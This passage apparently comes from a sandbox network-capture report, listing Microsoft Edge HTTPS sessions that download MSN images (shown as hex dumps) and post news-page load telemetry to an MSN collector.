2024-11-24 18:12:02 UTC	2981	IN	Data Raw: 65 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a 21 Data Ascii: etPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=!
2024-11-24 18:12:02 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-11-24 18:12:03 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: {tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49836	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:02 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:02 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=149718 Expires: Tue, 26 Nov 2024 11:47:20 GMT Date: Sun, 24 Nov 2024 18:12:02 GMT Connection: close
2024-11-24 18:12:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-24 18:12:03 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-24 18:12:03 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-24 18:12:03 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49838	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:04 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471921483&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11604 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 18:12:04 UTC	11604	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 32 3a 30 31 2e 34 38 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T18:12:01.481Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"locale":
2024-11-24 18:12:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=33dcf00c1c8b43689d56bef457b8ffae&HASH=33dc&LV=202411&V=4&LU=1732471924916; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:12:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9521f888196a469db711770f62f13493; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:42:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3433 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:12:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49839	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:04 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471921487&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5049 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 18:12:04 UTC	5049	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 32 3a 30 31 2e 34 38 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-24T18:12:01.486Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"locale":
2024-11-24 18:12:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6ac5640eef6745bfab2b454a8fe8a565&HASH=6ac5&LV=202411&V=4&LU=1732471925035; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:12:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=266d7b81f1a24933adbd56632e193776; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:42:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3548 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:12:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49840	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
